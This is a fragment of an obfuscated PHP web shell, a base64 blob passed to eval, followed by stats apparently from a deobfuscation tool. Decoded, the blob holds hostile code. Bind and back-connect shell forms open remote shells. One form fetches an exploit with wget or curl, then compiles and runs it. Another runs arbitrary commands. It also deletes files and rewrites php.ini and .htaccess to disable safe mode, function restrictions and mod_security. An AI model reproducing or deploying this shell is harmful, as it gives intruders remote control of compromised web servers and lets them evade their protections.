vcnRfcGFzczsgPz4iPjwvdGQ+PC90cj4KPHRyPjx0ZD5Vc2U8L3RkPjx0ZCBzdHlsZT0idGV4dC1hbGlnbjpqdXN0aWZ5Ij48cD48c2VsZWN0IGNsYXNzPSJpbnB1dHoiIHNpemU9IjEiIG5hbWU9InVzZSI+PG9wdGlvbiB2YWx1ZT0iUGVybCI+UGVybDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9IkMiPkM8L29wdGlvbj48L3NlbGVjdD4KPGlucHV0IGNsYXNzPSJpbnB1dHpidXQiIHR5cGU9InN1Ym1pdCIgbmFtZT0iYmluZCIgdmFsdWU9IkJpbmQiIHN0eWxlPSJ3aWR0aDoxMjBweCI+PC90ZD48L3RyPjwvZm9ybT4KPC90YWJsZT4KPC90ZD4KPHRkPgo8dGFibGU+Cjxmb3JtIG1ldGhvZD0icG9zdCIgYWN0aW9uPSI/eT08P3BocCBlY2hvICRwd2Q7ID8+JmFtcDt4PW5ldHNwbG9pdCI+Cjx0cj48dGQ+SVA8L3RkPjx0ZD48aW5wdXQgY2xhc3M9ImlucHV0eiIgdHlwZT0idGV4dCIgbmFtZT0iaXAiIHNpemU9IjI2IiB2YWx1ZT0iPD9waHAgZWNobyAoKGdldGVudignUkVNT1RFX0FERFInKSkgPyAoZ2V0ZW52KCdSRU1PVEVfQUREUicpKSA6ICgiMTI3LjAuMC4xIikpOyA/PiI+PC90ZD48L3RyPgo8dHI+PHRkPlBvcnQ8L3RkPjx0ZD48aW5wdXQgY2xhc3M9ImlucHV0eiIgdHlwZT0idGV4dCIgbmFtZT0iYmFja3BvcnQiIHNpemU9IjI2IiB2YWx1ZT0iPD9waHAgZWNobyAkYmluZHBvcnQ7ID8+Ij48L3RkPjwvdHI+Cjx0cj48dGQ+VXNlPC90ZD48dGQgc3R5bGU9InRleHQtYWxpZ246anVzdGlmeSI+PHA+PHNlbGVjdCBzaXplPSIxIiBjbGFzcz0iaW5wdXR6IiBuYW1lPSJ1c2UiPjxvcHRpb24gdmFsdWU9IlBlcmwiPlBlcmw8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJDIj5DPC9vcHRpb24+PC9zZWxlY3Q+CjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9ImJhY2tjb25uIiB2YWx1ZT0iQ29ubmVjdCIgY2xhc3M9ImlucHV0emJ1dCIgc3R5bGU9IndpZHRoOjEyMHB4Ij48L3RkPjwvdHI+PC9mb3JtPgo8L3RhYmxlPgo8L3RkPgo8dGQ+Cjx0YWJsZT4KPGZvcm0gbWV0aG9kPSJwb3N0IiBhY3Rpb249Ij95PTw/cGhwIGVjaG8gJHB3ZDsgPz4mYW1wO3g9bmV0c3Bsb2l0Ij4KPHRyPjx0ZD51cmw8L3RkPjx0ZD48aW5wdXQgY2xhc3M9ImlucHV0eiIgdHlwZT0idGV4dCIgbmFtZT0id3VybCIgc3R5bGU9IndpZHRoOjI1MHB4OyIgdmFsdWU9Ind3dy5zb21lLWNvZGUvZXhwbG9pdHMuYyI+PC90ZD48L3RyPgo8dHI+PHRkPmNtZDwvdGQ+PHRkPjxpbnB1dCBjbGFzcz0iaW5wdXR6IiB0eXBlPSJ0ZXh0IiBuYW1lPSJ3Y21kIiBzdHlsZT0id2lkdGg6MjUwcHg7IiB2YWx1ZT0iZ2NjIC1vIGV4cGxvaXRzIGV4cGxvaXRzLmM7Y2htb2QgK3ggZXhwbG9pdHM7Li9leHBsb2l0czsiPjwvdGQ+CjwvdHI+Cjx0cj48dGQ+PHNlbGVjdCBzaXplPSIxIiBjbGFzcz0iaW5wdXR6IiBuYW1lPSJwaWxpaGFuIj4KPG9wdGlvbiB2YWx1ZT0id3dnZXQiPndnZXQ8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0id2x5bngiPmx5bng8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0id2ZyZWFkIj5mcmVhZDwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSJ3ZmV0Y2giPmZldGNoPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IndsaW5rcyI+bGlua3M8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0id2dldCI+R0VUPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IndjdXJsIj5jdXJsPC9vcHRpb24+Cjwvc2VsZWN0PjwvdGQ+PHRkIGNvbHNwYW49IjIiPjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9ImV4cGNvbXBpbGUiIGNsYXNzPSJpbnB1dHpidXQiIHZhbHVlPSJHbyIgc3R5bGU9IndpZHRoOjI0NnB4OyI+PC90ZD48L3RyPjwvZm9ybT4KPC90YWJsZT4KPC90ZD4KPC90cj4KPC90YWJsZT4KPGRpdiBzdHlsZT0idGV4dC1hbGlnbjpjZW50ZXI7bWFyZ2luOjJweDsiPjw/cGhwIGVjaG8gJG1zZzsgPz48L2Rpdj4KPD9waHAgfSBlbHNlaWYoaXNzZXQoJF9HRVRbJ3gnXSkgJiYgKCRfR0VUWyd4J10gPT0gJ3NoZWxsJykpeyAgPz4KPGZvcm0gYWN0aW9uPSI/eT08P3BocCBlY2hvICRwd2Q7ID8+JmFtcDt4PXNoZWxsIiBtZXRob2Q9InBvc3QiPgo8dGFibGUgY2xhc3M9ImNtZGJveCI+Cjx0cj48dGQgY29sc3Bhbj0iMiI+Cjx0ZXh0YXJlYSBjbGFzcz0ib3V0cHV0IiByZWFkb25seT4KPD9waHAKaWYoaXNzZXQoJF9QT1NUWydzdWJtaXRjbWQnXSkpIHsKCWVjaG8gQGV4ZSgkX1BPU1RbJ2NtZCddKTsKfQo/Pgo8L3RleHRhcmVhPgo8dHI+PHRkIGNvbHNwYW49IjIiPjw/cGhwIGVjaG8gJHByb21wdDsgPz48aW5wdXQgb25Nb3VzZU92ZXI9InRoaXMuZm9jdXMoKTsiIGlkPSJjbWQiIGNsYXNzPSJpbnB1dHoiIHR5cGU9InRleHQiIG5hbWU9ImNtZCIgc3R5bGU9IndpZHRoOjYwJTsiIHZhbHVlPSIiIC8+PGlucHV0IGNsYXNzPSJpbnB1dHpidXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkdvICEiIG5hbWU9InN1Ym1pdGNtZCIgc3R5bGU9IndpZHRoOjEyJTsiIC8+PC90ZD48L3RyPgo8L3RhYmxlPgo8L2Zvcm0+Cjw/cGhwIH0gCmVsc2UgeyAKaWYoaXNzZXQoJF9HRVRbJ2RlbGV0ZSddKSAmJiAoJF9HRVRbJ2RlbGV0ZSddICE9ICIiKSl7CgkkZmlsZSA9ICRfR0VUWydkZWxldGUnXTsKCUB1bmxpbmsoJGZpbGUpOwp9CmVsc2VpZihpc3NldCgkX0dFVFsnZmRlbGV0ZSddKSAmJiAoJF9HRVRbJ2ZkZWxldGUnXSAhPSAiIikpewoJQHJtZGlyKHJ0cmltKCRfR0VUWydmZGVsZXRlJ10sRElSRUNUT1JZX1NFUEFSQVRPUikpOwp9CmVsc2VpZihpc3NldCgkX0dFVFsnbWtkaXInXSkgJiYgKCRfR0VUWydta2RpciddICE9ICIiKSl7CgkkcGF0aCA9ICRwd2QuJF9HRVRbJ21rZGlyJ107CglAbWtkaXIoJHBhdGgpOwp9CgkkYnVmZiA9IHNob3dkaXIoJHB3ZCwkcHJvbXB0KTsKCWVjaG8gJGJ1ZmY7Cn0KPz4KPGJyPjxpbnB1dCBjbGFzcz1pbnB1dHpidXQgYWxpZ249bGVmdCB0eXBlPXN1Ym1pdCBuYW1lPWluaSB2YWx1ZT0iQnlwYXNzIERpc2FibGUgRnVuY3Rpb25zIGFuZCBTYWZlbW9kZSIgLz4KPD9waHAKaWYoaXNzZXQoJF9QT1NUWydpbmknXSkpCgl7CgkJCiRieXBocCA9ICJzYWZlX21vZGUgPSBPZmYKZGlzYWJsZV9mdW5jdGlvbnMgPSBOb25lCnNhZmVfbW9kZV9naWQgPSBPRkYKb3Blbl9iYXNlZGlyID0gT0ZGCmFsbG93X3VybF9mb3BlbiA9IE9uIjsKJGJ5aHQgPSAiPElmTW9kdWxlIG1vZF9zZWN1cml0eS5jPgpTZWNGaWx0ZXJFbmdpbmUgT2ZmClNlY0ZpbHRlclNjYW5QT1NUIE9mZgpTZWNGaWx0ZXJDaGVja1VSTEVuY29kaW5nIE9mZgpTZWNGaWx0ZXJDaGVja1VuaWNvZGVFbmNvZGluZyBPZmYKPC9JZk1vZHVsZT4iOwpmaWxlX3B1dF9jb250ZW50cygicGhwLmluaSIsJGJ5cGhwKTsKZmlsZV9wdXRfY29udGVudHMoIi5odGFjY2VzcyIsJGJ5aHQpOwplY2hvICI8c2NyaXB0PmFsZXJ0KCdEaXNhYmxlIEZ1bmN0aW9ucyBhbmQgU2FmZW1vZGUgQ3JlYXRlZCcpOyBoaWRlQWxsKCk7PC9zY3JpcHQ+IjsKZGllKCk7CgkJCgkJfQoKPz48L2Rpdj4KPC9ib2R5Pgo8L2h0bWw+Cg==")); ?>
Function Calls
| base64_decode | 1 |
Stats
| MD5 | 04ea6a29603c6c43307b2c407416c39d |
| Eval Count | 1 |
| Decode Time | 2341 ms |